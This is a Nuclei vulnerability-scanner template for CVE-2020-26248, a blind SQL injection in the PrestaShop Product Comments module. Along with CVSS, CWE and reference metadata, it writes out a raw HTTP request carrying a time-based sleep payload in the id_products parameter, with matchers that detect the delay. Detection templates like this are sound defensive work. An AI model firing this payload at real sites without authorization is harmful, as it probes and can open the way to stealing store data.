nuclei-templates/http/cves/2020/CVE-2020-26248.yaml

id: CVE-2020-26248

info:
  name: PrestaShop Product Comments <4.2.0 - SQL Injection
  author: edoardottt
  severity: high
  description: |
    PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in 4.2.1.
  reference:
    - https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html
    - https://packagist.org/packages/prestashop/productcomments
    - https://github.com/PrestaShop/productcomments/security/advisories/GHSA-5v44-7647-xfw9
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26248
    - https://github.com/PrestaShop/productcomments/commit/7c2033dd811744e021da8897c80d6c301cd45ffa
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
    cvss-score: 8.2
    cve-id: CVE-2020-26248
    cwe-id: CWE-89
    epss-score: 0.01617
    epss-percentile: 0.87187
    cpe: cpe:2.3:a:prestashop:productcomments:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: prestashop
    product: productcomments
    framework: prestashop
  tags: cve,cve2020,packetstorm,sqli,prestshop,prestashop

http:
  - raw:
      - |
        @timeout: 20s
        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "average_grade")'
        condition: and
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